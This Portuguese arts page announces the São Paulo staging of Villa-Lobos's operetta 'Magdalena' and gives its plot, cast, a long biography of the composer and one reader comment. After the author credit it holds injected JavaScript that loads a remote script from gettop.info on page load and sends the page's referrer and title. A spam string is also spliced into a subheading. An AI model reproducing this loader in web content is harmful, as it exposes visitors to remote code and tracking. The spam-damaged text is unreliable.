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“Magdalena”, de Villa-Lobos no Municipal São Paulo

Obra será apresentada dentro das comemorações dos 90 anos da Semana de Arte de Moderna – divisor de águas no panorama artístico e literário do país, um marco no movimento modernista.

SERVIÇO

 

Teatro Municipal de São Paulo
Praça Ramos de Azevedo, s/no.
Fone: 11 3397 0327

Dias 15, 17, 23 e 25.02, às 20h., e dia 19.02, às 18h.

Ingressos: R$ 100,00 / R$ 60,00 e R$ 40,00

Os ingressos estão à venda na bilheteria do teatro e no site Ingresso Rápido (fone 4003-2050)

Sugestão de faixa etária: acima de 10 anos

 

Nestes dias, os paulistas terão a oportunidade de ver e ouvir no Theatro Municipal – pela primeira vez -, uma encenação de “Magdalena”, um misto de musical e opereta composto por Heitor Villa-Lobos em 1948, sob encomenda, para ser encenada na Broadway. A peça faz parte das obras menos conhecidas do maestro, sempre lembrado por suas “Bachianas” ou por “Trenzinho caipira”. A primeira vez que “Magdalena” foi apresentada no Brasil foi apenas no ano de 2002, no Festival Amazonas de Ópera, em Manaus, quando ganhou, enfim, uma versão em português, assinada por Cláudio Botelho. Depois, foi encenada no Rio em 2010. Repaginada, a ópera conta com a participação da Orquestra Sinfônica Municipal, do Coral Lírico e do Coro Infantil de Heliópolis. Produção original do Theatre du Chatelet – Paris – 2010.

“Magdalena”, em 2 atos, foi encomendada a Heitor Villa-Lobos pelos letristas americanos Robert Wright e George Forrest – dupla responsável pela bem sucedida montagem de “Kismet”, musical adaptado sobre a obra de Borodin – que queriam um espetáculo que tivesse como cenário a América do Sul. Misto de musical e opereta cômica, a peça fez sua estreia em 1948 e passou, ao longo de três meses, por Los Angeles, São Francisco e Nova York. O musical, que tem leves toques tragicômicos, versa sobre conflitos religiosos, sobre a luta dos povos ameríndios contra a opressão e sobre a exuberância dos trópicos e suas riquezas naturais.

 

A história predsonefordogsnoprescrption

A história acontece em 1912, às margens do rio Magdalena, na Colômbia, onde vivem Maria e Pedro, da tribo dos muzos. A jovem Maria, líder da tribo, é devota de Nossa Senhora e fica responsável pela imagem da santa enquanto Padre José parte em missão evangelizadora. Os índios, que trabalham na mina de esmeraldas do General Cabañas, entram em greve contra as más condições de trabalho e Maria vai ao encontro do responsável, Major Blanco, para negociar.

Diante da determinação de Maria e preocupado com o destino da mina, o Major se vê obrigado a partir para a França, onde vive o General Cabañas, bon vivant que passa seus dias no Café Ratinho Preto, apreciando vinhos caros e a boa comida feita por Teresa. Convencido a retornar à Colômbia, Cabañas resolve persuadir Teresa a ir com ele, com a ajuda do astrólogo Zoggie, oferecendo à cozinheira um colar de cem esmeraldas.

A diplomacia de Maria, que tentará a solução mais pacífica para o impasse, faz com que a tribo prepare uma festa para a chegada do General. Inconformado, Pedro invade a festa com seu ônibus velho lotado por índios bêbados da tribo chivor e a confraternização acaba em briga. Pedro leva Maria para a floresta, enquanto os índios chivores roubam a imagem de Nossa Senhora. Quando os dois retornam, anunciam que irão se casar assim que Padre José retorne. No entanto, Maria é avisada sobre o furto da imagem. Furiosa por perceber que foi enganada por Pedro ao afastá-la da imagem, Maria cancela o casamento.

Enquanto isso, um grande baile é preparado na fazenda de Cabañas e Teresa cuidará do banquete. Major Blanco orienta o General sobre o perigo de um levante dos índios e o aconselha a se casar com Maria para apaziguar a tribo e não perder sua mina de esmeraldas, assim como sabotar o ônibus de Pedro, que considera um insubordinado incorrigível. Teresa vê o General entregando à Maria o colar que ele lhe prometera e, furiosa, resolve empanturrá-lo de comida até a morte. Cabañas tem um ataque cardíaco e Teresa se apossa do colar.

O ônibus de Pedro cai do desfiladeiro e Maria reza para que seu amado tenha conseguido escapar. Padre José retorna à aldeia e Maria lhe conta tudo. Pedro aparece são e salvo para alegria de Maria e de todos, mas sua recusa em aceitar que as preces de Maria o salvaram faz com que a jovem desista dele. Arrependido, Pedro reaparece na aldeia com a imagem de Nossa Senhora e pede Maria em casamento.

 

Artistas envolvidos

– Orquestra Sinfônica Municipal, Coral Lírico Municipal e Coral Infantil de Heliópolis
– Luís Gustavo Petri – direção musical e regência
– Mário Zaccaro – regente do coro
– Kate Whoriskey – direção cênica
– Derek McLane – cenografia
– Paul Tazewell – figurinos
– Alexander Koppelman – desenho de luz
– Warren Adams – coreografia

Elenco:

– Rosana Lamosa (Maria)
– Luciana Bueno (Teresa)
– Rubens Medina (Pedro)
– Sávio Sperandio (General Carabaña)
– Saulo Javan (Padre José)
– Miguel Geraldi (O Velho Homem)
– Paulo Queiroz (Zoggie)
– Pedro Ometto (Major Blanco)


Heitor Villa-Lobos

“Considero minhas obras como cartas que escrevi à  posteridade, sem esperar resposta” – Villa-Lobos

Charge feita por Osvaldo para a Folha de SP em 1987

Villa-Lobos nasceu no Rio de Janeiro no dia 5 de março de 1887. Sua mãe, Noêmia Monteiro Villa-Lobos, sempre incentivou os estudos do filho, pois tencionava vê-lo formado em medicina. A música, nesse caso, era um empecilho para os planos de dona Noêmia, que chegou a proibir o filho de estudar piano. Heitor teve que fazer seus estudos às escondidas, principalmente os de violão.

A infância de Villa-Lobos foi feliz. Seu pai tocava violoncelo e clarineta — dois instrumentos que Heitor aprenderia a domina r—, e difícil era algum transeunte passar de noitinha em frente a casa na rua Riachuelo, onde morava a família Villa-Lobos, sem escutar alguma doce melodia. Certamente esse convívio com a música influenciaria o jovem Heitor, principalmente seus primeiros contatos com a obra de Bach.

Heitor também costumava acompanhar seu pai à casa de Alberto Brandão, onde teve seu primeiro contato com a música nordestina —Villa-Lobos presenciou várias reuniões de cantadores e seresteiros. Essas grandes noites recheadas de música nordestina foram vividas por Villa-Lobos na sua infância de tal maneira que seria inevitável a sua fascinação pela arte popular. Tão grande foi a fascinação de Villa-Lobos pela música popular que, ao ser proibido pelos pais de acompanhar aqueles cantadores mais de perto, decidiu praticar escondido aquelas músicas em seu violão.

Com a morte do pai de Villa-Lobos, o sr. Raul Villa-Lobos, homem pródigo, que ganhava bem, mas gastava tudo, a vida da família Villa-Lobos sofreu drásticas alterações. Dona Noêmia foi obrigada a trabalhar duro para sustentar a família: pôs-se a lavar e a engomar guardanapos para a confeitaria Colombo. Com a falta do pai na casa e com a mãe a trabalhar duro para sustentar os filhos, Villa-Lobos acabou conquistando uma grande liberdade. Tratou de aproximar-se de seu ídolos: os chorões.

Pagava-lhes, sempre que podia, uma boa dose de pinga. Um dos grandes problemas enfrentados pelo jovem Villa-Lobos na época era como adquirir capital suficiente para financiar aquelas tantas pingas. E aí que entra em cena a famosa biblioteca do falecido sr. Raul Villa Lobos. Villa-Lobos fazia “módicos” desfalques à biblioteca e, com isso, conseguia o aporte financeiro necessário para melhor entabulação diplomática com os chorões.

Nessa época, Villa-Lobos aprendeu alguns passos de capoeira com seus novos amigos e fez uma grande amizade com seu parceiro em caçadas de preás, o garoto Zé do Cavaquinho, que anos mais tarde seria também um famoso chorão e funcionário do Conservatório Nacional de Canto Ofeônico, organizado e dirigido por Villa-Lobos. Outro grande amigo de Villa-Lobos durante sua mocidade foi o pianista polonês Arthur Rubinstein. Villa-Lobos o conheceu em um carnaval carioca. Rubinstein, que saíra vestido de mulher, encontrou Villa-Lobos, que enrolara uma cobra de verdade no pescoço, e foram, os dois, pular o carnaval. Acabaram na delegacia de polícia.

Villa-Lobos matriculou-se no curso de preparação para o exame vestibular de medicina, obedecendo à vontade de sua mãe. No entanto, aos 16 anos, fugiu de casa e foi refugiar-se na casa de uma tia -Fifina -, a fim de ter maior liberdade para frequentar os chorões e tocar em pequenas orquestras. Dos 18 aos 26 anos, Villa-Lobos viajou pelo Brasil, apresentando-se como músico, e teve um contato intenso com o folclore brasileiro. É nesse período que Villa-Lobos compõe “Amazonas” e “Uirapuru”.

Depois desse período de andanças, retornou ao Rio de Janeiro, em 1913, e sua obra começa a avolumar-se com as composições “Cânticos Sertanejos”, “Brinquedo de Roda”, “Sonata Fantasia nº 1” e as óperas “Aglaia” e “Elisa”. Villa-Lobos foi um dos mais importantes e atuantes participantes da Semana de Arte Moderna de 1922. Ele apresentou uma série de três espetáculos. Mostrou ao público paulista as seguintes obras: no dia 13, a “Segunda Sonata”, o “Segundo Trio” e a “Valsa mística” (simples coletânea), o “Rondante” (simples coletânea), “A Fiandeira” e “Danças Africanas”; no dia 15, “O Ginete do Pierrozinho”, “Festim Pagão”, “Solidão”, “Cascavel” e “Terceiro Quarteto”; no dia 17, “Terceiro Trio”, “Historietas: a) Lune de Octobre, b)Voilà la Vie, c) Je Vis San Retard, Car vite s’écoule la vie”, “Segunda Sonata”, “Camponesa cantadeira” (suíte floral), “Num Berço Encantado” (simples coletânea),”Dança Infernal” e “Quatuor” (com coro feminino).

Villa-Lobos não foi o único compositor moderno interpretado na Semana de Arte Moderna. Junto com suas obras foram interpretadas obras de Debussy, por Guiomar Novaes, e obras de Eric Satie, por Ernani Braga, o qual também interpretou “A Fiandeira”, de Villa-Lobos. O Teatro Municipal de São Paulo foi o primeiro palco “erudito” a receber as obras de Villa-Lobos.

No anos seguintes, Villa-Lobos vai para Europa afim de mostrar sua música por lá.No dia 30 de junho de 1923, embarcou no navio francês Croix, deixando o Rio de Janeiro com destino ao velho continente. Não viajou para lá para estudar ou para aperfeiçoar-se. Foi a fim de exibir o que já havia produzido. Não agiu como a maioria dos brasileiros que voltam de lá vaidosos de seus estudos. O autor de Fiandeira chegou à Europa já com a cabeça feita e se impôs em menos de um ano. Aliás, nenhum outro autor estrangeiro vindo de um meio atrasado musicalmente, como o Brasil daquela época, teve tanto sucesso em Paris como Villa-Lobos.

Ao regressar ao Brasil, em 1930, Villa-Lobos já era um músico em plena maturidade, consciente de seu valor e autor de uma bagagem equivalente à produção total de muitos artistas. Para piano, tinha a numerosa série de peças infantis, entre elas, “Cirandas”, “Alma Brasileira”, “Saudades da Selva Brasileira” e “Rudepoema”.

Trouxe também na bagagem a composição de “Epigramas Irônicos e Sentimentais”, e, para música de câmara, algumas dezenas de peças para instrumento solista e piano, além de vários tercetos, quartetos, mais cinco sinfonias e outros tantos poemas sinfônicos e peças corais.

No mesmo ano em que retornou ao Brasil, Villa-Lobos fez uma turnê pelo país percorrendo 66 cidades. Também foi neste ano que ele organizou a Cruzada do Canto Orfeônico, no Rio. Nos anos seguintes, teve uma importante atividade como educador e divulgador musical. Foi o responsável pela fundação da Orquestra Villa-Lobos e pela audição da Missa Solene de Beethoven. Foi também Secretário da Educação Musical no governo Getúlio Vargas e tornou obrigatório o ensino de musica nas escolas.

Muitos afirmam que Villa-Lobos teria sido músico da corte de Vargas durante o primeiro e real ensaio articulado de se implantar um regime fascista no Brasil; para outros, Villa-Lobos era um entre vários outros intelectuais que fizeram a obrigatória passagem pelo Governo Vargas (pois a conjutura daquela época exigia) para, desta forma, alcançar seus ideais.

Em 1945, Villa-Lobos, infatigável, criou, no Rio, a Academia Brasileira de Música e foi seu primeiro presidente. Dois anos depois, foi convidado para ir aos EUA, a fim de escrever, junto com os Libretistas Forrest e Wright, a opereta “Magdalena”.

Villa-Lobos morreu no dia 17 de novembro de 1959, no Rio, vítima de uma crise de uremia.

Renato Roschel do Banco de Dadoss.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

1 Comment

  1. Valeu a pena ter ido a São Paulo exclusivamente para prestigiar as comemorações dos 90 anos da Semana de Arte Moderna.
    Ter a oportunidade de ver uma montagem tão caprichada com luz, cenário e, o principal, muito boa música!! Excelente regência, solistas e bailarinos.
    Bravo tutti!

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